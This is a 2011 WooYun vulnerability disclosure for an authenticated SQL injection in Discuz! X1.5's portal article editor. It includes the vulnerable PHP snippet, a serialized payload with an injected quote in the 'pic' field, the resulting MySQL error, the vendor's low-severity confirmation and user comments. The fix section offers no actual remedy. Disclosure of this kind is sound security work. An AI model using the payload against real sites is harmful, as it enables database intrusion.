当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-01725

漏洞标题:DiscuzX1.5 有权限SQL注入BUG

相关厂商:Discuz!

漏洞作者: Jannock

提交时间:2011-03-27 00:53

修复时间:2011-04-26 03:00

公开时间:2011-04-26 03:00

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-03-27: 细节已通知厂商并且等待厂商处理中
2011-03-28: 厂商已经确认,细节仅向厂商公开
2011-03-31: 细节向第三方安全合作伙伴开放
2011-05-22: 细节向核心白帽子及相关领域专家公开
2011-06-01: 细节向普通白帽子公开
2011-06-11: 细节向实习白帽子公开
2011-04-26: 细节向公众公开

简要描述:

DiscuzX1.5 有权限SQL注入BUG

详细说明:

source\include\portalcp\portalcp_article.php
//90行
if($_G['gp_conver']) {
$converfiles = unserialize(stripcslashes($_G['gp_conver']));
$setarr['pic'] = $converfiles['pic'];
$setarr['thumb'] = $converfiles['thumb'];
$setarr['remote'] = $converfiles['remote'];
}
可以看出变量 $converfiles 没有 addcslashes。
$aid = DB::insert('portal_article_title', $setarr, 1); //122行
进入数据库查询,因此存在SQL注射BUG。

漏洞证明:

有 门户 › 门户管理 › 频道栏目 发表权限。
发表文章:
http://localhost:9998/portal.php?mod=portalcp&ac=article&catid=1
在firebug下显示conver表单。


填上:a:3:{s:3:"pic";s:3:"xx'";s:5:"thumb";s:2:"xx";s:6:"remote";s:2:"xx";}
提交即暴错。
Error messages:
* [Type] 查询语句错误
* [1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'xx',`remote`='xx',`uid`='1',`username`='admin',`id`='0'' at line 1
* [Query] INSERT INTO portal_article_title SET `title`='xxxxxxxx',`shorttitle`='',`author`='',`from`='',`fromurl`='',`dateline`='1301158320',`url`='',`allowcomment`='1',`summary`='xxxxxxxxxxxxxxxx',`prename`='',`preurl`='',`catid`='1',`tag`='0',`status`='0',`pic`='xx'',`thumb`='xx',`remote`='xx',`uid`='1',`username`='admin',`id`='0'

修复方案:

您懂得。

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2011-03-28 11:13

厂商回复:

感谢您的提供

最新状态:

暂无


漏洞评价:

评论

  1. 2011-03-27 02:17 | pg5yl8 ( 实习白帽子 | Rank:91 漏洞数:12 | 我神马都不会 但我常常被人日 这是为神马呢)

    给力

  2. 2011-03-27 03:35 | m0r5 ( 路人 | Rank:30 漏洞数:6 )

    有DEBUG...求突破方法

  3. 2011-03-27 09:41 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    我擦勒 留名 楼上什么debug

  4. 2011-03-27 10:52 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2278 漏洞数:204 | 关注技术与网络安全(招人中,有兴趣请私信...)

    只是个鸡肋 ^-^

  5. 2011-03-27 13:58 | popok ( 普通白帽子 | Rank:117 漏洞数:24 | nothing)

    别想了,发出来的肯定是鸡肋,要明白国人的心理

  6. 2011-03-27 23:12 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    说不定什么时候就可以用到 对于厂商还是有帮助的

  7. 2011-03-28 01:12 | saga ( 路人 | Rank:11 漏洞数:2 | 世界上只有10种人,懂二进制的,和不懂二进...)

    有用的都换钱了,还是xss有效

  8. 2011-03-28 08:16 | Jesus ( 实习白帽子 | Rank:60 漏洞数:18 | 天地不仁,以万物为刍狗!)

    想不通楼主为啥公布出来,费解!

  9. 2011-03-28 11:22 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    你都没看到细节 别喊了喂~~~

  10. 2011-03-29 12:15 | piaoye ( 普通白帽子 | Rank:343 漏洞数:53 | ww)

    DX有好几个debug,都是鸡肋

  11. 2012-06-26 08:46 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    insert注入 有点意思呢